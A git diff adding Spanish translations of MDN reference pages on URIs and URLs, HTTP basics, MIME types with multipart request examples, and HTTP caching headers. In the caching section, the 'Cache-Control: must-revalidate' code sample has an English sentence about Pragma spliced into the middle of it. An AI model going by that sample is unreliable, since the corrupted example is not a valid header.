El objetivo de una solicitud HTTP se denomina "recurso", (es decir: datos), y dicho recurso, no posee un tipo definido por defecto; puede ser un documento, o una foto, o cualquier otra posibilidad. Cada recurso es identificado por un Identificador Uniforme de Recursos ({{Glossary("URI")}})  y es utilizado a través de HTTP, para la identificación del tipo de recurso.

+ +

La identidad y la localización del recursos en la Web son en su mayoria proporcionados por una sola dirección URL (Localicador de Recursos Uniforme; un tipo de URI). A veces, el mismo URI no proporciona la identidad ni la ubicación: HTTP usa un encabezado HTTP especifico, {{HTTPHeader("Alt-Svc")}} cuando el recurso solicitado por el cliente quiere acceder a él en otra ubicación.

+ +

URLs and URNs

+ +

URLs

+ +

La forma más común de URI es la ({{Glossary("URL")}}) (de las siglas en ingles: "Uniform Resource Locator", que podría traducirse como: Localizador Uniforme de Recursos), que se conoce como la dirección web.

+ +
https://developer.mozilla.org
+https://developer.mozilla.org/en-US/docs/Learn/
+https://developer.mozilla.org/en-US/search?q=URL
+ +

Cualquiera de estas URLs se pueden escribir en la barra de direcciones de su navegador para decirle que cargue la pagina asociada (recurso).

+ +

Una URL esta compuesta de diferentes partes, algunas obligatorias y otras son opcionales. Un ejemplo más complejo podría tener este aspecto:

+ +
http://www.example.com:80/path/to/myfile.html?key1=value1&key2=value2#SomewhereInTheDocument
+ +

URNs

+ +

Un URN es una URI que identifica un recurso por su nombre en un espacio de nombres particular.

+ +
urn:isbn:9780141036144
+urn:ietf:rfc:7230
+
+ +

Las dos URNs corresponden a

+ + + +

Sintaxis de Identificador Uniforme de Recursos (URIs)

+ +

 

+ +

Esquema o protocolo

+ +
+
Protocol
+
http:// es el protocolo. Indica que el protocolo debe utilizar el navegador. Por lo general, es el protocolo HTTP o su versión segura, HTTPS. La Web requiere de uno de estos dos, pero los navegadores también saben como manejar otros protocolos como  mailto: (para abrir un cliente de correo) o ftp: para manejar la transferencia de archivos, por lo que no se sorprenda si usted ve este tipo de protocolos. Los esquemas comunes son:
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
EsquemaDescripción
dataDatos URIs
fileHost-nombre de archivo específicos
ftpProtocolo de Transferencia de  Archivos
http/httpsProtocolo de transferencia de Hipertexto (Seguro)
mailtoDirección de correo electrónico
sshshell seguro
telteléfono
urnNombres Uniformes de Recursos
view-sourceCódigo fuente del recurso
ws/wss(Encriptado) conexiones WebSocket
+ +

Autoridad

+ +
+
Domaine Name
+
www.example.com es el nombre de dominio o autoridad que gobierna el espacio de nombres. Indica cuando es solicitado el servidor Web . Alternativamente, Es posile usar directamente una {{Glossary("IP address")}}, pero debido a que es menos conveniente, no se usa muy amenudo en la Web.
+
+ +

Puerto

+ +
+
Port
+
:80 es el puerto en este caso. Indica la técnica "puerta" usada para acceder a los recursos en el servidor web. Usualmente es omitido si el servidor web usa los puertos estándares del protocolo HTTP (80 para HTTP y 443 para HTTPS) para permitir el acceso a sus recursos. De lo contrario, es obligatorio.
+
+ +

Ruta de Acceso

+ +
+
Path to the file
+
/path/to/myfile.html es la ruta de acceso al recurso en el servidor Web. En los primeros dias de la Web, una ruta como esta presentaba la ubicación fisica del archivo en el servidor Web. Hoy en día, es sobre todo una abstracción manejada por los servidores Web sin ningún tipo de realidad fisica.
+
+ +

Consulta

+ +
+
Parameters
+
?key1=value1&key2=value2 son unos parametros adicionales proporcionados al servidor Web. Esos parámetros son una lista de pares llave/valores separados por el simbolo &. El servidor Web puede utilizar estos parámetros para hacer cosas adicionales antes de retornar el recurso al usuario. Cada servidor Web tiene sus propias reglas con respecto a los parametros, y la única manera confiable de saber cómo un servidor web especifico está manejando parametros es preguntando al usuario del servidor web.
+
+ +

Fragmento

+ +
+
Anchor
+
#SomewhereInTheDocument es una referencia a otra parte del propio recurso. Esto representa una especie de "marcador" dentro del recurso, otorgandole al navegador las instrucciones para mostrar el contenido que se encuentra en esa referencia señalada. En un documento HTML, por ejemplo, el navegador se desplazará hasta el punto donde se define el fragmento; en un video o documento de audio, el navegador intentará ir a la vez que el ancla se presenta. Vale la pena señalar que la parte despues de la  #, también conocido como indentificador de fragmento, nunca se envia al servidor con la solicitud.
+
+ +

Ejemplos

+ +
https://developer.mozilla.org/en-US/docs/Learn
+tel:+1-816-555-1212
+git@github.com:mdn/browser-compat-data.git
+ftp://example.org/resource.txt
+urn:isbn:9780141036144
+
+ +

Especificaciones

+ + + + + + + + + + + + +
EspecificaciónTítulo
{{RFC("7230", "Uniform Resource Identifiers", "2.7")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+ +

Ver también

+ + diff --git a/files/es/web/http/basics_of_http/index.html b/files/es/web/http/basics_of_http/index.html new file mode 100644 index 0000000000..1e4a404cbb --- /dev/null +++ b/files/es/web/http/basics_of_http/index.html @@ -0,0 +1,51 @@ +--- +title: Conceptos básicos de HTTP +slug: Web/HTTP/Basics_of_HTTP +tags: + - HTTP + - NeedsTranslation + - Overview + - TopicStub +translation_of: Web/HTTP/Basics_of_HTTP +--- +
{{HTTPSidebar}}
+ +

El protocolo HTTP es un protocolo ampliable, es decir se puede añadir "vocabulario". HTTP está basado en unos pocos conceptos básicos como el concepto de recursos y URIs, una estructura sencilla de mensajes, y una arquitectura de cliente-servidor para ordenar el flujo de las comunicaciones. A demás de estos conceptos, a lo largo de su desarrollo han aparecido otros nuevos y se han añadido funcionalidades y reglas semánticas, creando nuevos métodos y cabeceras.

+ +

Artículos

+ +
+
Generalidades del HTTP
+
Descripción de qué es el protocolo HTTP y su función en la arquitectura de la Web. 
+
Evolución del HTTP 
+
HTTP fue creado a comienzos de la década de 1990s y ha sido ampliado con nuevas versiones varias veces. En este artículo se expone la evolución de su desarrollo y las versiones HTTP/0.9, HTTP/1.0, HTTP/1.1 y la última versión HTTP/2 así como detalles de las funciones que se han ido incluyendo.
+
Negociación de la versión de HTTP
+
Se explica como un cliente y un servidor pueden negociar una versión específica de HTTP y eventualmente actualizar la version usada.
+
Recursos y URIs
+
Una breve descripción sobre qué son los recursos, identificadores y localidades en la Web. 
+
Identificación de recursos en la Web 
+
Descripción de como se referencian recursos en la Web, como son referenciados y como localizarlos. 
+
URIs de datos 
+
Hay un tipo de URIs que permiten integrar directamente el recurso al que señalan. Los URIs de datos, son muy ventajosos, pero también tienen algunas desventajas. 
+
URLs de recursos
+
Los recursos URL, prefijados con resource: en vez de http son usados por Firefox y algunas extensiones del navegador para cargar recursos internamente, pero parte de la información también está disponible para los sitios a los que se conecta el navegador.
+  
+
Separación de la identidad y la localización de un recurso: la cabecera Alt-Svc
+
En la mayoría de los casos, la identidad y localización de un recurso Web, son compartidos, esto se puede modificar con la cabecera de HTTP: {{HTTPHeader("Alt-Svc")}}.
+
Tipos MIME 
+
Desde la versión HTTP/1.0, es posible trasmitir distintos formatos de recursos. En este artículo se explica como se hace, usando la cabecera: {{HTTPHeader("Content-Type")}}, y el estándar MIME. 
+
Elección de URLs: www y no-www
+
Recomendación sobre el uso de dominios con prefijo www o no. En este artículo se explican los resultados de la elección y cómo hacerla. 
+
Flujo de comunicación en una sesión HTTP
+
En este artículo se describe una comunicación típica de una sesión HTTP, y lo que sucede internamente cuando se hace click en un hiper-vínculo.
+
Mensajes HTTP
+
Los mensajes HTTP, sean peticiones o respuestas, siguen una estructura muy concreta; en este artículo se describe su estructura, su propósito y posibilidades. 
+
Tramas y estructura de los mensajes en HTTP/2
+
La versión HTTP/2 encapsula y representa los mensajes de HTTP/1.x pero en tramas binarias. En este artículo se explica la estructura y los campos de las tramas, su finalidad y cómo se codifica. 
+
Proceso de conexión en HTTP/1.x
+
HTTP/1.1 fue la primera versión de HTTP que soportó las conexiones persistentes y el pipelining. En este artículo se explican estos dos conceptos.
+
Proceso de conexión en HTTP/2
+
HTTP/2 revisó completamente, los métodos de negociación, creación y mantenimiento de conexiones: en este artículo se explica como se puede conseguír la multiplexación de las tramas y resolver el problema de 'head-of-line', que tenían las versiones anteriores de HTTP.  
+
Negociación de contenidos
+
HTTP presenta una serie de cabeceras que comienzan con  Accept- como medio para notificar al navegador, el formato, lenguaje, o codificación que prefiere.  En este artículo se explica el este proceso, como debe actuar el servidor, y como se elige la respuesta más apropiada.
+
diff --git a/files/es/web/http/basics_of_http/mime_types/common_types/index.html b/files/es/web/http/basics_of_http/mime_types/common_types/index.html new file mode 100644 index 0000000000..466138012c --- /dev/null +++ b/files/es/web/http/basics_of_http/mime_types/common_types/index.html @@ -0,0 +1,321 @@ +--- +title: Lista completa de tipos MIME +slug: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +tags: + - Archivos + - Audio + - HTTP + - MIME + - Referencia + - Texto + - Tipos + - Tipos MIME + - Tipos de archivo + - Video +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types/Common_types +--- +
{{HTTPSidebar}}
+ +

Aquí está una lista completa de tipos de MIME, asociados por tipo de documentos y  ordenados por su extensión común.

+ +

Dos tipos primarios de MIME son importantes para el rol de tipos por defecto:

+ + + +

IANA es el registro oficial de los tipos de media MIME y mantiene una lista oficial de todos los tipos de MIME. Esta tabla, lista algunos de los tipos de MIME importantes para la web:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ExtensiónTipo de documentoTipo de MIME
.aacArchivo de audio AACaudio/aac
.abwDocumento AbiWordapplication/x-abiword
.arcDocumento de Archivo (múltiples archivos incrustados)application/octet-stream
.aviAVI: Audio Video Intercaladovideo/x-msvideo
.azwFormato  eBook Amazon Kindle application/vnd.amazon.ebook
.binCualquier tipo de datos binariosapplication/octet-stream
.bzArchivo BZipapplication/x-bzip
.bz2Archivo BZip2application/x-bzip2
.cshScript C-Shellapplication/x-csh
.cssHojas de estilo (CSS)text/css
.csvValores separados por coma (CSV)text/csv
.docMicrosoft Wordapplication/msword
.epubPublicación Electrónica (EPUB)application/epub+zip
.gifGraphics Interchange Format (GIF)image/gif
.htm
+ .html		Hipertexto (HTML)text/html
.icoFormato Iconimage/x-icon
.icsFormato iCalendartext/calendar
.jarArchivo Java (JAR)application/java-archive
.jpeg
+ .jpg		Imágenes JPEGimage/jpeg
.jsJavaScript (ECMAScript)application/javascript
.jsonFormato JSONapplication/json
.mid
+ .midi		Interfaz Digital de Instrumentos Musicales (MIDI)audio/midi
.mpegVideo MPEGvideo/mpeg
.mpkgPaquete de instalación de Appleapplication/vnd.apple.installer+xml
.odpDocumento de presentación de OpenDocumentapplication/vnd.oasis.opendocument.presentation
.odsHoja de Cálculo OpenDocumentapplication/vnd.oasis.opendocument.spreadsheet
.odtDocumento de texto OpenDocumentapplication/vnd.oasis.opendocument.text
.ogaAudio OGGaudio/ogg
.ogvVideo OGGvideo/ogg
.ogxOGGapplication/ogg
.pdfAdobe Portable Document Format (PDF)application/pdf
.pptMicrosoft PowerPointapplication/vnd.ms-powerpoint
.rarArchivo RARapplication/x-rar-compressed
.rtfFormato de Texto Enriquecido (RTF)application/rtf
.shScript Bourne shellapplication/x-sh
.svgGráficos Vectoriales (SVG)image/svg+xml
.swfSmall web format (SWF) o Documento Adobe Flashapplication/x-shockwave-flash
.tarAerchivo Tape (TAR)application/x-tar
.tif
+ .tiff		Formato de archivo de imagen etiquetado (TIFF)image/tiff
.ttfFuente TrueTypefont/ttf
.vsdMicrosft Visioapplication/vnd.visio
.wavFormato de audio de forma de onda (WAV)audio/x-wav
.webaAudio WEBMaudio/webm
.webmVideo WEBMvideo/webm
.webpImágenes WEBPimage/webp
.woffFormato de fuente abierta web (WOFF)font/woff
.woff2Formato de fuente abierta web (WOFF)font/woff2
.xhtmlXHTMLapplication/xhtml+xml
.xlsMicrosoft Excelapplication/vnd.ms-excel
.xmlXMLapplication/xml
.xulXULapplication/vnd.mozilla.xul+xml
.zipArchivo ZIPapplication/zip
.3gpContenedor de audio/video 3GPPvideo/3gpp
+ audio/3gpp if it doesn't contain video
.3g2Contenedor de audio/video 3GPP2video/3gpp2
+ audio/3gpp2 if it doesn't contain video
.7zArchivo 7-zipapplication/x-7z-compressed
diff --git a/files/es/web/http/basics_of_http/mime_types/index.html b/files/es/web/http/basics_of_http/mime_types/index.html new file mode 100644 index 0000000000..dd6c1621ae --- /dev/null +++ b/files/es/web/http/basics_of_http/mime_types/index.html @@ -0,0 +1,321 @@ +--- +title: Tipos MIME +slug: Web/HTTP/Basics_of_HTTP/MIME_types +tags: + - Cabecera de solicitud + - Guide + - HTTP + - Meta + - Tipos MIME + - Tipos de contenido + - application/json +translation_of: Web/HTTP/Basics_of_HTTP/MIME_types +--- +
{{HTTPSidebar}}
+ +

El tipo Extensiones multipropósito de Correo de Internet (MIME) es una forma estandarizada de indicar la naturaleza y el formato de un documento, archivo o conjunto de datos. Está definido y estandarizado en IETF RFC 6838. La Autoridad de Números Asignados de Internet (IANA) es el organismo oficial responsable de realizar un seguimiento de todos los tipos MIME oficiales, y puede encontrar la lista más actualizada y completa en la página de tipos de medios (Media Types).

+ +

Los navegadores a menudo usan el tipo MIME (y no la extensión de archivo) para determinar cómo procesará un documento; por lo tanto, es importante que los servidores estén configurados correctamente para adjuntar el tipo MIME correcto al encabezado del objeto de respuesta.

+ +

Sintaxis

+ +

Estructura general

+ +
tipo/subtipo
+ +

La estructura de un tipo MIME es muy simple; consiste en un tipo y un subtipo, dos cadenas, separadas por un '/'. No se permite espacio. El tipo representa la categoría y puede ser de tipo discreto o multiparte. El subtipo es específico para cada tipo.

+ +

Un tipo MIME no distingue entre mayúsculas y minúsculas, pero tradicionalmente se escribe todo en minúsculas.

+ +

Tipos discretos

+ +
text/plain
+text/html
+image/jpeg
+image/png
+audio/mpeg
+audio/ogg
+audio/*
+video/mp4
+application/octet-stream
+…
+ +

Los tipos discretos indican la categoría del documento, puede ser uno de los siguientes:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
TipoDescripciónEjemplo de subtipos típicos
textRepresenta cualquier documento que contenga texto y es teóricamente legible por humanostext/plain, text/html, text/css, text/javascript
imageRepresenta cualquier tipo de imagen. Los videos no están incluidos, aunque las imágenes animadas (como el gif animado) se describen con un tipo de imagen.image/gif, image/png, image/jpeg, image/bmp, image/webp
audioRepresenta cualquier tipo de archivos de audioaudio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav
videoRepresenta cualquier tipo de archivos de videovideo/webm, video/ogg
applicationRepresenta cualquier tipo de datos binarios.application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml,  application/pdf
+ +

Para documentos de texto sin subtipo específico, se debe usar text/plain. De forma similar, para los documentos binarios sin subtipo específico o conocido, se debe usar application/octet-stream.

+ +

Tipos multiparte

+ +
multipart/form-data
+multipart/byteranges
+ +

Los tipos de partes múltiples indican una categoría de documento que está rota en distintas partes, a menudo con diferentes tipos de MIME. Es una forma de representar un documento compuesto. Con la excepción de multipart/form-data, que se utilizan en relación con formularios HTML y el método {{HTTPMethod("POST")}}, y multipart/byteranges, que se utilizan junto con el mensaje de estado de Contenido Parcial {{HTTPStatus("206")}} para enviar solo un subconjunto de un documento completo, HTTP no maneja documentos multiparte de una manera específica: el mensaje simplemente se transmite al navegador (que probablemente propondrá una ventana Guardar como, sin saber cómo mostrar el documento en línea.)

+ +

Tipos MIME importantes para desarrolladores Web

+ +

application/octet-stream

+ +

Este es el valor predeterminado para un archivo binario. Como realmente significa un archivo binario desconocido, los navegadores generalmente no lo ejecutan automáticamente, o incluso preguntan si debería ejecutarse. Lo tratan como si el encabezado {{HTTPHeader("Content-Disposition")}} se configurara con el valor attachment y proponen un archivo 'Guardar como'.

+ +

text/plain

+ +

Este es el valor predeterminado para los archivos de texto. Incluso si realmente significa un archivo textual desconocido, los navegadores asumen que pueden mostrarlo.

+ +
+

Tenga en cuenta que text/plain no significa cualquier tipo de datos textuales. Si esperan un tipo específico de datos textuales, probablemente no lo considerarán una coincidencia. Específicamente, si descargan un archivo de texto sin formato text/plain de un elemento {{HTMLElement("link")}} que declara archivos CSS, no lo reconocerán como un archivo CSS válido si se presenta con text/plain. Se debe usar el tipo MIME CSS text/css.

+
+ +

text/css

+ +

Todos los archivos CSS que deban interpretarse como tales en una página web deben ser de los archivos de text/css. A menudo, los servidores no reconocen los archivos con el sufijo .css como archivos CSS y los envían con tipo MIME text/plain o application/octet-stream: en estos casos, la mayoría de los navegadores no los reconocerán como archivos CSS y serán ignorado silenciosamente. Se debe prestar especial atención en servir los archivos CSS con el tipo correcto.

+ +

text/html

+ +

Todo el contenido HTML debe ser servido con este tipo. Los tipos MIME alternativos para XHTML, como application/xml+html, son en su mayoría inútiles hoy en día (HTML5 unificó estos formatos).

+ +

Tipos de imágenes

+ +

Solo un puñado de tipos de imágenes son ampliamente reconocidos y se consideran seguros para la Web, listos para usar en una página Web:

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Tipo MIMETipo de imagen
image/gifImágenes GIF (compresión sin pérdida, reemplazada por PNG)
image/jpegImágenes JPEG
image/pngImágenes PNG
image/svg+xmlImágenes SVG (imágenes vectoriales)
+ + + +

Existe una discusión para agregar WebP (image/webp) a esta lista, pero como cada tipo de imagen nuevo aumentará el tamaño de una base de código, esto puede presentar nuevos problemas de seguridad, por lo que los proveedores de navegadores son cautelosos al aceptarlo.

+ +

Se pueden encontrar otros tipos de imágenes en documentos Web. Por ejemplo, muchos navegadores admiten tipos de imágenes de iconos para favicones o similares. En particular, las imágenes ICO son compatibles en este contexto con el tipo MIME image/x-icon.

+ + + +

Tipos de audio y video

+ +

Al igual que las imágenes, HTML no define un conjunto de tipos soportados para usar con los elementos {{HTMLElement("audio")}} y {{HTMLElement("video")}}, por lo que solo un grupo relativamente pequeño de ellos puede ser utilizado en la web. Los formatos de medios compatibles con los elementos de audio y video HTML explican tanto los códecs como los formatos de contenedor que se pueden usar.

+ +

El tipo MIME de dichos archivos representa principalmente los formatos de contenedor y los más comunes en un contexto web son:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Tipo MIMETipo de audio o video
audio/wave
+ audio/wav
+ audio/x-wav
+ audio/x-pn-wav		Un archivo de audio en formato de contenedor WAVE. El códec de audio PCM (códec WAVE  "1") a menudo es compatible, pero otros códecs tienen soporte más limitado (si lo hay).
audio/webmUn archivo de audio en formato de contenedor WebM. Vorbis y Opus son los códecs de audio más comunes.
video/webmUn archivo de video, posiblemente con audio, en el formato de contenedor de WebM. VP8 y VP9 son los códecs de video más comunes utilizados en él; Vorbis y Opus los códecs de audio más comunes.
audio/oggUn archivo de audio en el formato de contenedor OGG. Vorbis es el códec de audio más común utilizado en dicho contenedor.
video/oggUn archivo de video, posiblemente con audio, en el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio habitual.
application/oggUn archivo de audio o video usando el formato de contenedor OGG. Theora es el códec de video habitual utilizado en él; Vorbis es el códec de audio más común.
+ +

multipart/form-data

+ +

El tipo de datos multipart/form-data se puede usar al enviar el contenido de un formulario HTML completo desde el navegador al servidor. Como formato de documento multiparte, consta de diferentes partes, delimitadas por un límite (una cadena que comienza con un doble guión '--'). Cada parte es una entidad en sí misma, con sus propios encabezados HTTP, {{HTTPHeader("Content-Disposition")}} y {{HTTPHeader("Content-Type")}} para los campos de carga de archivos, y los más comunes ({{HTTPHeader("Content-Length")}} es ignorado ya que la línea límite se usa como delimitador).

+ +
Content-Type: multipart/form-data; boundary=unaCadenaDelimitadora
+(otros encabezados asociados con el documento multiparte como un todo)
+
+--unaCadenaDelimitadora
+Content-Disposition: form-data; name="miArchivo"; filename="img.jpg"
+Content-Type: image/jpeg
+
+(data)
+--unaCadenaDelimitadora
+Content-Disposition: form-data; name="miCampo"
+
+(data)
+--unaCadenaDelimitadora
+(más subpartes)
+--unaCadenaDelimitadora--
+
+
+ +

El siguiente formulario:

+ +
<form action="http://localhost:8000/" method="post" enctype="multipart/form-data">
+  <input type="text" name="miCampoDeTexto">
+  <input type="checkbox" name="miCheckBox">Checado</input>
+  <input type="file" name="miArchivo">
+  <button>Enviar el archivo</button>
+</form>
+ +

enviará este mensaje:

+ +
POST / HTTP/1.1
+Host: localhost:8000
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: keep-alive
+Upgrade-Insecure-Requests: 1
+Content-Type: multipart/form-data; boundary=---------------------------8721656041911415653955004498
+Content-Length: 465
+
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="miCampoDeTexto"
+
+Test
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="miCheckBox"
+
+on
+-----------------------------8721656041911415653955004498
+Content-Disposition: form-data; name="miArchivo"; filename="prueba.txt"
+Content-Type: text/plain
+
+Simple file.
+-----------------------------8721656041911415653955004498--
+
+
+ +

multipart/byteranges

+ +

El tipo MIME multipart/byteranges se usa en el contexto del envío de respuestas parciales al navegador. Cuando se envía el código de estado de Contenido Parcial {{HTTPStatus("206")}}, este tipo MIME se usa para indicar que el documento está compuesto de varias partes, una para cada rango solicitado. Al igual que otros tipos de varias partes, {{HTTPHeader("Content-Type")}} usa la directiva boundary para definir la cadena delimitadora. Cada una de las diferentes partes tiene un encabezado {{HTTPHeader("Content-Type")}} con el tipo real del documento y un {{HTTPHeader("Content-Range")}} con el rango que representan.

+ +
HTTP/1.1 206 Partial Content
+Accept-Ranges: bytes
+Content-Type: multipart/byteranges; boundary=3d6b6a416f9b5
+Content-Length: 385
+
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 100-200/1270
+
+eta http-equiv="Content-type" content="text/html; charset=utf-8" />
+    <meta name="vieport" content
+--3d6b6a416f9b5
+Content-Type: text/html
+Content-Range: bytes 300-400/1270
+
+-color: #f0f0f2;
+        margin: 0;
+        padding: 0;
+        font-family: "Open Sans", "Helvetica
+--3d6b6a416f9b5--
+ +

Importancia de establecer el tipo MIME correcto

+ +

La mayoría de los servidores web envían recursos de tipo desconocido utilizando el tipo MIME predeterminado application/octet-stream. Por razones de seguridad, la mayoría de los navegadores no permiten establecer una acción predeterminada personalizada para dichos recursos, lo que obliga al usuario a almacenarlo en el disco para usarlo. Algunas configuraciones de servidor incorrectas que se ven con frecuencia ocurren con los siguientes tipos de archivos:

+ + + +

Olfateo MIME (sniffing)

+ +

En ausencia de un tipo MIME, o en algunos otros casos en los que un cliente cree que están configurados incorrectamente, los navegadores pueden realizar el rastreo MIME, que es adivinar el tipo MIME correcto mirando el recurso. Cada navegador realiza esto de manera diferente y bajo diferentes circunstancias. Hay algunas preocupaciones de seguridad con esta práctica, ya que algunos tipos MIME representan el contenido ejecutable y otros no. Los servidores pueden bloquear el rastreo de MIME enviando el {{HTTPHeader("X-Content-Type-Options")}} a lo largo de {{HTTPHeader("Content-Type")}}.

+ +

Otros métodos de transporte de tipo de documento

+ +

Los tipos MIME no son la única forma de transmitir la información del tipo de documento:

+ + + + + +

Ver también

+ + diff --git a/files/es/web/http/caching/index.html b/files/es/web/http/caching/index.html new file mode 100644 index 0000000000..e55fc256c1 --- /dev/null +++ b/files/es/web/http/caching/index.html @@ -0,0 +1,155 @@ +--- +title: HTTP caching +slug: Web/HTTP/Caching +tags: + - Caching + - Guide + - HTTP +translation_of: Web/HTTP/Caching +--- +
{{HTTPSidebar}}
+ +

El rendimiento de los sitios web y las aplicaciones puede mejorarse significativamente al reutilizar los recursos previamente obtenidos. Los cachés web reducen la latencia y el tráfico de red y, por lo tanto, reducen el tiempo necesario para mostrar una representación de un recurso. Al hacer uso del almacenamiento en caché HTTP, los sitios web se vuelven más sensible.

+ +

Diferentes tipos de caches

+ +

El almacenamiento en caché o Caching es una técnica que almacena una copia de un recurso dado y la devuelve cuando se solicita. Cuando un caché web tiene un recurso solicitado en su almacén, intercepta la solicitud y devuelve su copia en lugar de volver a descargarla desde el servidor de origen. Esto logra varios objetivos: facilita la carga del servidor que no necesita atender a todos los clientes, y mejora el rendimiento al estar más cerca del cliente, es decir, lleva menos tiempo transmitir el recurso de vuelta. Para un sitio web, es un componente importante para lograr un alto rendimiento. Por otro lado, debe configurarse correctamente, ya que no todos los recursos permanecen idénticos para siempre: es importante almacenar en caché un recurso solo hasta que cambie, no más.

+ +

Existen varios tipos de cachés: se pueden agrupar en dos categorías principales: cachés privados o compartidos. Un caché compartido es un caché que almacena respuestas para que más de un usuario las reutilice. Un caché privado está dedicado a un solo usuario. Esta página hablará principalmente sobre cachés de navegador y proxy, pero también hay cachés de puerta de enlace, CDN, cachés de proxy inverso y balanceadores de carga que se implementan en servidores web para una mejor confiabilidad, rendimiento y escala de sitios web y aplicaciones web.

+ +

What a cache provide, advantages/disadvantages of shared/private caches.

+ +

Cachés privadas de navegador

+ +

Un caché privado está dedicado a un solo usuario. Es posible que ya hayas visto "almacenamiento en caché" en la configuración de tu navegador. Un caché de navegador contiene todos los documentos descargados a través de HTTP por el usuario. Este caché se usa para hacer que los documentos visitados estén disponibles para la navegación hacia atrás / adelante, guardar, ver como fuente, etc. sin requerir un viaje adicional al servidor. También mejora la navegación fuera de línea del contenido en caché.

+ +

Caché compartida de proxy

+ +

Un caché compartido es un caché que almacena las respuestas para que sean reutilizado por más de un usuario. Por ejemplo, un ISP o su compañía podrían haber configurado un proxy web como parte de su infraestructura de red local para servir a muchos usuarios, de modo que los recursos populares se reutilicen varias veces, lo que reduce el tráfico y la latencia de la red.

+ +

Objetivos de las operaciones de almacenamiento en caché.

+ +

El almacenamiento en caché de HTTP es opcional, pero la reutilización de un recurso almacenado en caché es generalmente deseable. Sin embargo, los cachés HTTP comunes generalmente se limitan al almacenamiento en caché de las respuestas a {{HTTPMethod ("GET")}} y pueden rechazar otros métodos. La clave de caché principal consiste en el método de solicitud y el URI de destino (muchas veces solo se usa el URL, ya que solo las solicitudes GET son destinos de almacenamiento en caché). Las entradas de caché más comunes son:

+ + + +

Una entrada de caché también puede consistir en múltiples respuestas almacenadas, diferenciadas por una clave secundaria, si la solicitud es causa de la negociación de contenido. Para obtener más detalles, consulta la información sobre el encabezado {{HTTPHeader ("Vary")}} más abajo.

+ +

Control del almacenamiento en caché

+ +

El encabezado Cache-control

+ +

El {{HTTPHeader("Cache-Control")}} HTTP/1.1 general-header campo se utiliza para indicar directivas para los mecanismos de caché tanto en solicitudes (requests) como en respuestas (response). Utiliza este encabezado para definir tus políticas de almacenamiento en caché con la variedad de directivas que proporciona.

+ +

No almacenar caché en absoluto

+ +

El caché no debe almacenar nada sobre la solicitud del cliente o la respuesta del servidor. Se envía una solicitud al servidor y se descarga una respuesta completa cada vez.

+ +
Cache-Control: no-store
+Cache-Control: no-cache, no-store, must-revalidate
+
+ +

Sin almacenamiento en caché

+ +

Un caché enviará la solicitud al servidor de origen para su validación antes de liberar una copia en caché.

+ +
Cache-Control: no-cache
+ +

Caché publicas y privadas

+ +

La directiva "public" indica que la respuesta puede ser almacenada en caché por cualquier caché. Esto puede ser útil, si las páginas con autentificación HTTP o códigos de estado de respuesta que normalmente no se pueden almacenar en caché, ahora deben almacenarse en caché.

+ +

Por otro lado, la directiva "private" indica que la respuesta está dirigida a un solo usuario y no debe ser almacenada por un caché compartido. Un caché de navegador privado puede almacenar la respuesta en este caso.

+ +
Cache-Control: private
+Cache-Control: public
+
+ +

Expiración

+ +

La directiva más importante aquí es "max-age=<seconds>" que es la máxima cantidad de tiempo que un recurso será considerado nuevo. Contrariamente a {{HTTPHeader("Expires")}}, esta directiva es relativa al momento de la solicitud. Para los archivos de la aplicación que no cambiarán, generalmente se puede agregar almacenamiento en caché agresivo.Esto incluye archivos estáticos como imágenes, archivos CSS y archivos JavaScript, por ejemplo.

+ +

Para más detalles, ver la sección Actualización más abajo.

+ +
Cache-Control: max-age=31536000
+ +

Validación

+ +

Cuando se usa la directiva "must-revalidate", la caché debe verificar el estado de los recursos obsoletos antes de usarlos, los caducados no deben usarse. Para más detalles vea la sección  Validación.

+ +
Cache-Cit is not specified for HTTP responses and is therefore not a reliable replacement for the general HTTP/1.1 Cache-Control header, although it does behave the same as Cache-Control: no-cache, if the Cache-Control header field is omitted in a request. Use Pragma only for backwards compatibility with HTTP/1.0 clientsontrol: must-revalidate
+ +

La cabecera Pragma

+ +

{{HTTPHeader("Pragma")}} es una cabecera HTTP/1.0, no se especifica para las respuestas HTTP y, por lo tanto, no es un reemplazo de confianza para el encabezado general de HTTP / 1.1 Cache-Control, aunque se comporta igual que Cache-Control: no-cache, si el campo del encabezado Cache-Control se omite en una solicitud. Utiliza Pragma solo para compatibilidad con versiones anteriores de clientes HTTP / 1.0

+ +

Actualización

+ +

